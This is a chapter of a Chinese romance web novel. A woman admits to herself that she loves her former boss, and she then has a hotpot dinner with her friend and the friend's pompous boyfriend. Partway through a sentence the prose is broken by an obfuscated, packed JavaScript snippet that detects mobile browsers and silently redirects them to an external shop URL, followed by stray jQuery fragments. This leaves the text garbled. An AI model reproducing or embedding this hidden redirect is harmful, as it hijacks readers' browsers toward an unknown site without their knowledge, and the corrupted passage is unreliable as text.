31.质变之行
    喜不喜欢晏骁?

    最开始是不敢喜欢的。

    他是天上星,是华高的准继承人,是天之骄子。他俊美无双,年纪轻轻就拿下了美国顶尖大学的博士学位,在工作场合虽有小错,但大战略上从来都是料敌为先,攻城略地不在话下……这样的人,只能去仰望,又怎么敢喜欢呢?

    更何况,那时的他还有未婚妻呢。不该有的心思,就该去死。

    后来是不喜欢的。

    最崇拜的人,她发自内心信任的领导,抢了她的渠道,她又能说什么?她还能有什么好心情?

    再后来,也就是现在……

    “如果不喜欢晏骁,你为什么要这么拼命?别给我说是因为思莹的投资,我了解她,她只要有收益就行,而那对你不难。跟投一个项目,动动心思打理一下,跑赢通胀没问题。可你费心费力地跑到千岛湖,前前后后花了这么多心思,真的只是为了思莹?”

    王东阳的追问在耳边如重锤,狠狠敲打着戚彩的心。

    戚彩听到自己说:“可是,我也给你说了,晏骁真的很惨……龙搁浅滩,他不该这样的。”

    “这个世界上躺在浅滩上的龙多了,你也不是个会和他们共情的人啊。”王东阳立刻抓住了戚彩话语中的漏洞。

    是啊。

    就像王东阳拷问中所揭露的那样,她应该是喜欢他的吧。

    心灵可以欺骗自己,但身体却不会。她就是想和他近距离地靠在一起,和他待在一起她就开心,昨晚和他的拥抱,更是直接治愈了她的失眠,让她睡得那么香甜。

    她好不容易鼓起勇气去喜欢他,想要慢慢靠近他,可是……

    “可是我不确定他是不是还在喜欢他的未婚妻,”戚彩低低地说,“他们是那么耀眼的一堆金童玉女,他要是喜欢她,我这样为英雄鼓掌的人,又怎么可能入他的眼呢?”

    “未婚妻?”王东阳抓住了关键词,“什么未婚妻?”

    戚彩摇摇头:“不说了,哥,我快输完液了,我把病房让给你吧。”

    “别啊,”王东阳摁住了她,憔悴的脸上此刻写满了认真,“如果他还有婚约,却过来撩你,那他就不是好人,我不会同意这种人再上门给你补课,和你培养感情的。”

    “他那婚事早就结束了,”戚彩辩解,“那个姑娘抛弃了他,他现在是单身。”

    “那你追他又有什么错呢?”

    戚彩一愣。

    “你的情况跟我不一样。你这边,他未婚妻已经不喜欢他了,他就算还喜欢她,那又怎么样?你去告诉他啊,告诉他你喜欢他,你比他未婚妻好一万倍,你才是那个Miss. Right。不就完了?”王东阳语重心长地说,“彩姐,你这人什么都好,就是太自卑了。可是在我心中,你才是天上星,你配得上世界上的一切奇珍异宝。我今天说这么多,就是想告诉你,不管你想要什么,你都值得。你配得。”

    你配得。

    这话让戚彩鼻头一酸,差点被落下泪来。

    是啊,她到底在畏葸不前什么呢?

    以前干工作的时候,多少人喊她一声“彩姐”,说她敢想敢干,说做就做,有魄力,能扛事,怎么在这件事上,她却犹犹豫豫,含含糊糊?

    记得以前她还问过晏骁,说某个渠道她已经快把新品做进去了,可那个采购天天唠唠叨叨,总说上一家这也比华高好,那也比华高好,怎么办?

    那时,晏骁奇怪地看她一眼,毫不犹豫地说:“你管他说什么呢?你把新品做进去就好了,这才是最重要的!”

    “我明白了。”戚彩擦擦眼睛,把即将掉出来的泪珠给藏回去,“谢谢你,王东阳。”

    “喂,”王东阳嫌弃地说,“刚还叫我哥呢,怎么现在又是王东阳了?用完就扔是吧?”

    “我就用完就扔怎么了?”戚彩撇撇嘴,“对了,你说你的情况和我不一样?你有什么情况?你不是母胎solo吗?”

    “……我没什么情况啊。”王东阳看向其他地方,“那什么,晏骁已经在外面待太久了,你们聊吧,我去拿点药就撤了。”

    戚彩喊住他:“别走别走别走!我还有事要跟你说呢!”她把手机举到王东阳面前,“我刚刚才知道,原来思莹也和她男票在百川湖!她说马上过来,找我们吃饭。你也一起吧?”

    “你闺蜜来找你,我吃个锤?”王东阳立刻说,“拜拜。”

    “王东阳!王东阳!”

    王东阳已经头也不回地走了。

    他脚底抹油得颇为决绝。

    ……

    ……

    项思莹是请年假来百川湖玩的。

    转过年,她和谈了两年恋爱的男朋友便要举办婚礼,这次的旅游,也算是婚前最后一次了。

    她到的时候,戚彩还在大厅的座位上跟晏骁抱怨王东阳:“他搞什么啊,大老远过来看个病,说不看就不看了,坐高铁,跑了。那回去不还得找医院看吗?我不知道他在急什么。”

    正说着,戚彩一抬眼,眼睛登时亮了:“思莹,你来啦!”

    “你说你,来千岛湖怎么不跟我说一声!”项思莹一把攥住戚彩露出的右手,嗔道,“快一个月不见,你怎么瘦这么多!”

    我不光瘦了,我还病了呢。

    戚彩一边干笑,一边将有针眼的右手不动声色藏到袖子里去:“我也是临时过来谈生意嘛。”

    项思莹立刻看向晏骁:“晏学长,什么生意把我家戚彩谈成这样!”

    “哎,跟他有什么关系——”戚彩赶快拿出一张菜单,“快点菜快点菜,我们已经点了几样我们爱吃的,就等你们了。”

    项思莹中途放下婚前旅行,跑过来跟戚彩聚餐,戚彩当然是不能给她找不痛快的。

    先从病房直接出院,免得项思莹看到她生病上火;再选一家评分超高的饭店,还是项思莹最喜欢吃的川渝火锅,戚彩安排得明明白白。

    对于这个安排,项思莹很是满意,火锅一吃一个不吱声,连肥也不减了,筷子跟下饺子似的不断进锅。不过她的男友似乎有些别的意见。

    “思莹,少吃点辣锅,这么吃对肠胃不好。”

    “思莹,这道菜一看就不新鲜,你别吃了吧。”

    “思莹,吃太多辣的会长痘痘的,也会让身体水肿。”

    项思莹的男友姓谢,长得很工整沉稳,穿得也很文艺,一席黑色高领毛衣配浅灰无领长款大衣,搭配得颇为斯文。

    他目前在项思莹所在的高校当讲师。

    面对谢先生的劝诫,一贯能说会道的项思莹却只是乖巧地点头应下,接受建议。

    可这样一来,项思莹就没什么能吃的——她就爱吃辣锅,不辣的那一半,她很不喜欢吃。

    眼看着项思莹碗中的东西越来越少,晏骁给戚彩使了个眼色,两人离席去打小料。

    “这男的怎么回事?”晏骁一边把酸萝卜舀进小碗,一边

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361312|137362||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说,“管这么多,你朋友也不烦?”

    “你小声点,”戚彩小心翼翼地看了一下那边,这才介绍道,“老谢比思莹大十岁,有点爹味也可以理解。”

    “他说那么多,就不能直白地说一句:我怕你吃多了长胖丑到我的眼睛,你别吃了?你朋友就不能直白回一句:我想吃什么就吃什么,干你锤事?”

    “你这话说的,也太刻薄了!”

    “那怎么的,他嫌弃你找的店,还有理了?”晏骁轻嗤一声,“吃个饭这么多事儿,要我说,他真不是你朋友的良配。”

    戚彩不认同:“思莹喜欢就行。人都是多面性的嘛!就一顿饭,怎么能对人进行价值判断?我听思莹说,谢先生是个很有格调、很有文化的人,学术实力超强,她可崇拜他了!”

    “有多崇拜?”

    “当时思莹本来可以继续在帝都读博的,但她为了谢先生,回了H城,当了这个校史馆馆员。”戚彩小声地说,“我当时劝过,没用。思莹真的很喜欢这个谢先生,咱们别给她惹事了。”

    “你们啊,就是和稀泥!”晏骁恨铁不成钢地说。

    两人拿着满满的两碗小料与水果回了卡位。

    “思莹,吃西瓜吃西瓜。”戚彩把西瓜放项思莹面前,“你最爱吃的西瓜,这碗你专享。这碗是老谢的。”

    项思莹本来就没什么吃的了,闻言笑得眉不见眼:“还是彩彩懂我。”

    谢先生也想说什么,但他自己也喜欢吃西瓜,便不说了。

    戚彩见状,暗暗松了一口气——她和老谢见面次数很少,还好她还记得老谢爱吃西瓜。

    这个老谢,平时嘴刁得很,这不吃那不吃的,川渝火锅这种辣乎乎的食物更是入不得他眼。

    关键是,别人不喜欢什么东西,也就不喜欢完了;他不一样,他不喜欢什么,便要上点价值,非要说不喜欢的东西不好,喜欢它的都是脑子有问题。

    这顿火锅,点了鸳鸯锅,还是堵不住他的嘴,要没西瓜,怕是难熬了。

    果不其然。

    只见谢先生放下西瓜,擦了擦嘴,放下筷子,沉吟片刻,忽然道:“其实现代人越吃越辣,归根到底,是资本规训的结果。辣让消费社会在建构符号的过程中无限熵增,令人日益成为哈贝马斯口中‘单向度的人’,变成景观社会的赤裸肉身。”

    谢先生一席高谈阔论,令在座众人神态各异。

    项思莹满眼崇拜,晏骁默默翻了个白眼,戚彩……戚彩听不懂。

    “老谢,你在说什么啊?”戚彩谦虚地问,“感觉很厉害的样子。”

    谢先生来了劲,他清了清嗓子:“现代西方哲学的事情很复杂,不是三言两语说得清的,跟你这样平时也不读书的门外汉说,就更难了。”

    “他的意思是,辣味可以掩盖食材的好坏,所以资本爱推。辣又是一种很霸道的味道,人们吃多了就吃不来别的味型了。”晏骁给戚彩夹了一筷子老肉片,“吃肉。”

    “……”

    被晏骁这么一怼,谢先生面上有些挂不住,强道:“哲学的事情,哪有这么简单!”

    “那你说,你是什么意思。”晏骁抬起头,似笑非笑。

    “亚里士多德说过,人是……”

    “算了你别说了,就你懂得多。”

    突然出现的声音,打断了谢先生的输出,也让戚彩和晏骁惊讶地看向了项思莹。

    这话——竟然是项思莹说的?